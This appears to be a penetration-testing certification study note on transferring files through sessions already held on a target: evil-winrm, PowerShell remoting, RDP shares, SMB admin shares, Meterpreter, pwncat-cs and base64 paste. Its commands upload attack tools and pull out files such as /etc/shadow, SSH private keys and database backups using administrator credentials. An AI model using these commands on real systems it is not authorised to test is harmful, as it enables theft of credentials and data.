~/transfer-session

Session Transfers

CPTS Notes4 min read

A session you already hold moves files over its own connection. It needs no new port, server, or firewall rule. Try this first. With no network path at all, encode the file as base64 and paste it through the terminal.

SSH sessions use scp (Linux Transfers).

evil-winrm

Inside an evil-winrm session (WinRM):

upload /opt/tools/winPEASx64.exe C:\Users\Public\winPEASx64.exe # upload to the target
download C:\Users\Public\loot.zip /tmp/loot.zip # download to the attack host

Give a bare file name for the current folder, or an absolute path. Relative paths fail. Tab completes local file names.

PowerShell remoting

From one Windows host to another over WinRM. The account needs admin rights on the remote host, or membership of Remote Management Users.

$s = New-PSSession -ComputerName DATABASE01 # open a session to the remote host
# copy to the remote host
Copy-Item -Path C:\Users\Public\nc.exe -Destination C:\Users\Public\ -ToSession $s
# copy from the remote host
Copy-Item -Path C:\Users\Administrator\Desktop\db.bak -Destination C:\Users\Public\ -FromSession $s

Add -Credential (Get-Credential) to New-PSSession for another account.

RDP

Share a folder of your attack host into the RDP session:

xfreerdp3 /v:$TARGET /u:administrator /p:'<pass>' /drive:share,/opt/tools # connect, share /opt/tools as share
rdesktop $TARGET -u administrator -p '<pass>' -r disk:share=/opt/tools # same with rdesktop

On older Kali, the command is xfreerdp with the same options. In the session, open \\tsclient\share. Copy files in both directions.

Defender on the target scans the shared folder. It can delete tools from your attack host.

Add +clipboard to copy and paste text between the hosts.

SMB admin shares

With admin credentials, write to C$ or ADMIN$ from your attack host (SMB):

# upload to C:\Users\Public
smbclient //$TARGET/C$ -U 'administrator%<pass>' -c 'put winPEASx64.exe Users\Public\winPEASx64.exe'
# download from C:\Users\Public
smbclient //$TARGET/C$ -U 'administrator%<pass>' -c 'get Users\Public\loot.zip loot.zip'

-c runs one command and exits. put and get take the source first, then the destination.

Meterpreter

upload /opt/tools/nc.exe C:\\Users\\Public\\nc.exe # upload to the target
download C:\\Users\\Public\\loot.zip /tmp/ # download to the attack host

Meterpreter reads \ as an escape character. Double each backslash, or use /.

pwncat-cs

pwncat-cs catches a Linux reverse shell and transfers files over it. Press Ctrl+D to switch to the local prompt:

upload /opt/tools/linpeas.sh /dev/shm/linpeas.sh # upload to the target
download /etc/shadow ./shadow # download to the attack host

It writes the file with binaries already on the target.

Base64 paste

For a host with no network path to you. The file passes through your terminal as text.

Encode on your attack host:

md5sum id_rsa # hash to compare after the transfer
base64 -w 0 id_rsa; echo # print the file as one base64 line

-w 0 prints one line with no wrapping. echo adds a final newline, so the copy selection ends cleanly.

Decode on a Linux target:

echo '<base64>' | base64 -d > /dev/shm/id_rsa # decode to a file
md5sum /dev/shm/id_rsa # compare with the original hash

Decode in PowerShell:

# decode to a file
[IO.File]::WriteAllBytes('C:\Users\Public\id_rsa', [Convert]::FromBase64String('<base64>'))
Get-FileHash C:\Users\Public\id_rsa -Algorithm MD5 # compare with the original hash

Encode in PowerShell, to send a file back:

[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\Public\loot.zip')) # print the file as base64

[IO.File]::ReadAllBytes works in Windows PowerShell and PowerShell 7. Get-Content -Encoding Byte fails in PowerShell 7.

Encode and decode in cmd with certutil:

REM encode to base64
certutil -encode loot.zip loot.b64
REM decode from base64
certutil -decode loot.b64 loot.zip

The certutil output adds BEGIN and END lines. Delete them before you decode on Linux.

Limits:

  • A cmd command line holds at most 8,191 characters.
  • A web shell can fail on a long request. Send the file in parts.
  • A terminal paste of more than some kilobytes can drop characters. Compress the file first with gzip or tar -czf.